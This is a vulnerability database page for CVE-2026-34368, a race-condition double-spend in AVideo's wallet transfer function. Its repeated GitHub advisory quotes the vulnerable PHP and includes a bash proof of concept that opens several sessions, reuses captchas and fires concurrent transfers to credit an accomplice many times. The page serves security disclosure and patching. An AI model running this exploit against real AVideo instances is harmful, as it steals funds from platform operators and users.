Every CVE Search/ Get API key

CVE-2026-34368

AVideo Vulnerable to Wallet Balance Double-Spend via TOCTOU Race Condition in transferBalance

5.3 Medium

WWBN AVideo is an open source video platform. In versions up to and including 26.0, the transferBalance() method in plugin/YPTWallet/YPTWallet.php contains a Time-of-Check-Time-of-Use (TOCTOU) race condition. The method reads the sender's wallet balance, checks sufficiency in PHP, then writes the new balance — all without database transactions or row-level locking. An attacker with multiple authenticated sessions can send concurrent transfer requests that all read the same stale balance, each passing the balance check independently, resulting in only one deduction being applied while the recipient is credited multiple times. Commit 34132ad5159784bfc7ba0d7634bb5c79b769202d contains a fix.

Attack profile

How easy it is to exploit

Attack vector
Network
Complexity
High
Privileges needed
Low
User interaction
None

What an attacker can affect

Confidentiality
None
Integrity
High
Availability
None

Exploit likelihood

0.24%Up 0.2 points since Mar 28, 2026
90%50%10%1%

What each source reports

CVE List Score used 5.3

AVideo Vulnerable to Wallet Balance Double-Spend via TOCTOU Race Condition in transferBalance

WWBN AVideo is an open source video platform. In versions up to and including 26.0, the transferBalance() method in plugin/YPTWallet/YPTWallet.php contains a Time-of-Check-Time-of-Use (TOCTOU) race condition. The method reads the sender's wallet balance, checks sufficiency in PHP, then writes the new balance — all without database transactions or row-level locking. An attacker with multiple authenticated sessions can send concurrent transfer requests that all read the same stale balance, each passing the balance check independently, resulting in only one deduction being applied while the recipient is credited multiple times. Commit 34132ad5159784bfc7ba0d7634bb5c79b769202d contains a fix.

Record
CVE-2026-34368
CVSS 3.1
5.3 MediumCVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:U/C:N/I:H/A:N
Weakness
CWE-362
Updated
2026-11-02
EUVDEUVD-2026-16734 5.3

WWBN AVideo is an open source video platform. In versions up to and including 26.0, the transferBalance() method in plugin/YPTWallet/YPTWallet.php contains a Time-of-Check-Time-of-Use (TOCTOU) race condition. The method reads the sender's wallet balance, checks sufficiency in PHP, then writes the new balance — all without database transactions or row-level locking. An attacker with multiple authenticated sessions can send concurrent transfer requests that all read the same stale balance, each passing the balance check independently, resulting in only one deduction being applied while the recipient is credited multiple times. Commit 34132ad5159784bfc7ba0d7634bb5c79b769202d contains a fix.

Record
EUVD-2026-16734
CVSS 3.1
5.3 MediumCVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:U/C:N/I:H/A:N
Updated
2026-11-02
GitHub AdvisoriesGHSA-h54m-c522-h6qr 5.3

AVideo Vulnerable to Wallet Balance Double-Spend via TOCTOU Race Condition in transferBalance

Summary

The transferBalance() method in plugin/YPTWallet/YPTWallet.php contains a Time-of-Check-Time-of-Use (TOCTOU) race condition. The method reads the sender's wallet balance, checks sufficiency in PHP, then writes the new balance — all without database transactions or row-level locking. An attacker with multiple authenticated sessions can send concurrent transfer requests that all read the same stale balance, each passing the balance check independently, resulting in only one deduction being applied while the recipient is credited multiple times.

Details

The vulnerable code path in plugin/YPTWallet/YPTWallet.php:450-517:

// Line 473-474: READ - fetch current balance (plain SELECT, no FOR UPDATE)
$senderWallet = self::getWallet($fromUserId);
$senderBalance = $senderWallet->getBalance();
$senderNewBalance = $senderBalance - $amount;

// Line 477: CHECK - verify sufficient funds in PHP
if ($senderNewBalance < 0) {
    return false;
}

// Line 486-487: WRITE - set new balance (plain UPDATE)
$senderWallet->setBalance($senderNewBalance);
$senderWalletId = $senderWallet->save();

// Line 497-502: Credit receiver (also plain SELECT + UPDATE)
$receiverWallet = self::getWallet($toUserId);
$receiverBalance = $receiverWallet->getBalance();
$receiverNewBalance = $receiverBalance + $amount;
$receiverWallet->setBalance($receiverNewBalance);
$receiverWalletId = $receiverWallet->save();

The getWallet() method (YPTWallet.php:244) calls Wallet::getFromUser() (Wallet.php:69-84) which executes a plain SELECT * FROM wallet WHERE users_id = $users_id with no FOR UPDATE clause. The save() method (Wallet.php:105) calls ObjectYPT::save() (Object.php:293) which executes a plain UPDATE — no transaction wrapping.

Race window: Between the SELECT (step 1) and UPDATE (step 3), all concurrent requests see the same original balance. Each independently computes original - amount, passes the check, and writes back. The last writer wins for the sender (only one deduction effective), but the receiver gets credited once per request.

Why concurrent requests succeed: PHP's file-based session locking serializes requests per session. However, an attacker can create multiple login sessions (different PHPSESSID cookies) for the same user account. Each session has its own lock and can execute concurrently. Each session needs its own captcha, but the captcha validation in objects/captcha.php:58-73 compares $_SESSION['palavra'] without unsetting it after validation, allowing unlimited reuse within each session.

Entry point: plugin/YPTWallet/view/transferFunds.json.php:39 calls YPTWallet::transferBalance(User::getId(), $_POST['users_id'], $_POST['value']) — requires only User::isLogged() and a valid captcha.

PoC

# Prerequisites: Attacker has a registered account with $10 wallet balance
# Accomplice has a registered account (recipient)

TARGET="https://target-avideo-instance"
ACCOMPLICE_ID=123  # recipient user ID

# Step 1: Create 5 independent sessions for the same attacker account
declare -a SESSIONS
declare -a CAPTCHA_ANSWERS

for i in $(seq 1 5); do
  # Login and capture session cookie
  COOKIE=$(curl -s -c - "$TARGET/objects/login.json.php" \
    -d 'user=attacker&pass=attackerpass' | grep PHPSESSID | awk '{print $NF}')
  
  # Load captcha to populate $_SESSION['palavra']
  curl -s -b "PHPSESSID=$COOKIE" "$TARGET/objects/captcha.php" -o "captcha_$i.png"
  
  SESSIONS[$i]=$COOKIE
  echo "Session $i: $COOKIE — solve captcha_$i.png manually"
done

# Step 2: After solving captchas, fire all 5 transfer requests simultaneously
# Each requests $10 transfer — all will read balance=$10 concurrently
for i in $(seq 1 5); do
  curl -s -b "PHPSESSID=${SESSIONS[$i]}" \
    "$TARGET/plugin/YPTWallet/view/transferFunds.json.php" \
    -d "users_id=$ACCOMPLICE_ID&value=10&captcha=${CAPTCHA_ANSWERS[$i]}" &
done
wait

# Expected result:
# - Attacker balance: $0 (last write wins, sets…
Record
GHSA-h54m-c522-h6qr
CVSS 3.1
5.3 MediumCVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:U/C:N/I:H/A:N
Weakness
CWE-362
Updated
2026-11-02
NVD 5.3

WWBN AVideo is an open source video platform. In versions up to and including 26.0, the transferBalance() method in plugin/YPTWallet/YPTWallet.php contains a Time-of-Check-Time-of-Use (TOCTOU) race condition. The method reads the sender's wallet balance, checks sufficiency in PHP, then writes the new balance — all without database transactions or row-level locking. An attacker with multiple authenticated sessions can send concurrent transfer requests that all read the same stale balance, each passing the balance check independently, resulting in only one deduction being applied while the recipient is credited multiple times. Commit 34132ad5159784bfc7ba0d7634bb5c79b769202d contains a fix.

Record
CVE-2026-34368
CVSS 3.1
5.3 MediumCVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:U/C:N/I:H/A:N
Weakness
CWE-362
Updated
2026-11-02
OSV 5.3

AVideo Vulnerable to Wallet Balance Double-Spend via TOCTOU Race Condition in transferBalance

WWBN AVideo is an open source video platform. In versions up to and including 26.0, the transferBalance() method in plugin/YPTWallet/YPTWallet.php contains a Time-of-Check-Time-of-Use (TOCTOU) race condition. The method reads the sender's wallet balance, checks sufficiency in PHP, then writes the new balance — all without database transactions or row-level locking. An attacker with multiple authenticated sessions can send concurrent transfer requests that all read the same stale balance, each passing the balance check independently, resulting in only one deduction being applied while the recipient is credited multiple times. Commit 34132ad5159784bfc7ba0d7634bb5c79b769202d contains a fix.

Record
CVE-2026-34368
CVSS 3.1
5.3 MediumCVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:U/C:N/I:H/A:N
Weakness
CWE-362
Updated
2026-11-02
OSVGHSA-h54m-c522-h6qr 5.3

AVideo Vulnerable to Wallet Balance Double-Spend via TOCTOU Race Condition in transferBalance

Summary

The transferBalance() method in plugin/YPTWallet/YPTWallet.php contains a Time-of-Check-Time-of-Use (TOCTOU) race condition. The method reads the sender's wallet balance, checks sufficiency in PHP, then writes the new balance — all without database transactions or row-level locking. An attacker with multiple authenticated sessions can send concurrent transfer requests that all read the same stale balance, each passing the balance check independently, resulting in only one deduction being applied while the recipient is credited multiple times.

Details

The vulnerable code path in plugin/YPTWallet/YPTWallet.php:450-517:

// Line 473-474: READ - fetch current balance (plain SELECT, no FOR UPDATE)
$senderWallet = self::getWallet($fromUserId);
$senderBalance = $senderWallet->getBalance();
$senderNewBalance = $senderBalance - $amount;

// Line 477: CHECK - verify sufficient funds in PHP
if ($senderNewBalance < 0) {
    return false;
}

// Line 486-487: WRITE - set new balance (plain UPDATE)
$senderWallet->setBalance($senderNewBalance);
$senderWalletId = $senderWallet->save();

// Line 497-502: Credit receiver (also plain SELECT + UPDATE)
$receiverWallet = self::getWallet($toUserId);
$receiverBalance = $receiverWallet->getBalance();
$receiverNewBalance = $receiverBalance + $amount;
$receiverWallet->setBalance($receiverNewBalance);
$receiverWalletId = $receiverWallet->save();

The getWallet() method (YPTWallet.php:244) calls Wallet::getFromUser() (Wallet.php:69-84) which executes a plain SELECT * FROM wallet WHERE users_id = $users_id with no FOR UPDATE clause. The save() method (Wallet.php:105) calls ObjectYPT::save() (Object.php:293) which executes a plain UPDATE — no transaction wrapping.

Race window: Between the SELECT (step 1) and UPDATE (step 3), all concurrent requests see the same original balance. Each independently computes original - amount, passes the check, and writes back. The last writer wins for the sender (only one deduction effective), but the receiver gets credited once per request.

Why concurrent requests succeed: PHP's file-based session locking serializes requests per session. However, an attacker can create multiple login sessions (different PHPSESSID cookies) for the same user account. Each session has its own lock and can execute concurrently. Each session needs its own captcha, but the captcha validation in objects/captcha.php:58-73 compares $_SESSION['palavra'] without unsetting it after validation, allowing unlimited reuse within each session.

Entry point: plugin/YPTWallet/view/transferFunds.json.php:39 calls YPTWallet::transferBalance(User::getId(), $_POST['users_id'], $_POST['value']) — requires only User::isLogged() and a valid captcha.

PoC

# Prerequisites: Attacker has a registered account with $10 wallet balance
# Accomplice has a registered account (recipient)

TARGET="https://target-avideo-instance"
ACCOMPLICE_ID=123  # recipient user ID

# Step 1: Create 5 independent sessions for the same attacker account
declare -a SESSIONS
declare -a CAPTCHA_ANSWERS

for i in $(seq 1 5); do
  # Login and capture session cookie
  COOKIE=$(curl -s -c - "$TARGET/objects/login.json.php" \
    -d 'user=attacker&pass=attackerpass' | grep PHPSESSID | awk '{print $NF}')
  
  # Load captcha to populate $_SESSION['palavra']
  curl -s -b "PHPSESSID=$COOKIE" "$TARGET/objects/captcha.php" -o "captcha_$i.png"
  
  SESSIONS[$i]=$COOKIE
  echo "Session $i: $COOKIE — solve captcha_$i.png manually"
done

# Step 2: After solving captchas, fire all 5 transfer requests simultaneously
# Each requests $10 transfer — all will read balance=$10 concurrently
for i in $(seq 1 5); do
  curl -s -b "PHPSESSID=${SESSIONS[$i]}" \
    "$TARGET/plugin/YPTWallet/view/transferFunds.json.php" \
    -d "users_id=$ACCOMPLICE_ID&value=10&captcha=${CAPTCHA_ANSWERS[$i]}" &
done
wait

# Expected result:
# - Attacker balance: $0 (last write wins, sets…
Record
GHSA-h54m-c522-h6qr
CVSS 3.1
5.3 MediumCVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:U/C:N/I:H/A:N
Weakness
CWE-362
Updated
2026-11-02

Affected products

Affected packages

Affected packages
PackageAffectedFixed
wwbn/avideo
Packagist
through 26.0 None known
wwbn/avideo
Packagist
through 26.0, plus listed versions
10.410.81111.111.1.1
Show 11 moreShow less
11.511.612.414.314.3.114.418.021.022.024.025.0
None known

History

History
RecordedChangedSources
first indexedCVE List, EUVD, GitHub Advisories, NVD, OSV

Dates are when Every CVE recorded each change. Upstream dates may differ.

In short

CVE-2026-34368 is a medium vulnerability (CVSS 5.3) in Wwbn Avideo, published March 27, 2026. No source lists public exploit code. EPSS puts the chance of exploitation in the next 30 days at 0.24%, the 14th percentile. No source names a fixed version.

References

This page doesn't list everything

Left out here: the rest of 2 source descriptions. The JSON record has them.

MoveEnter Open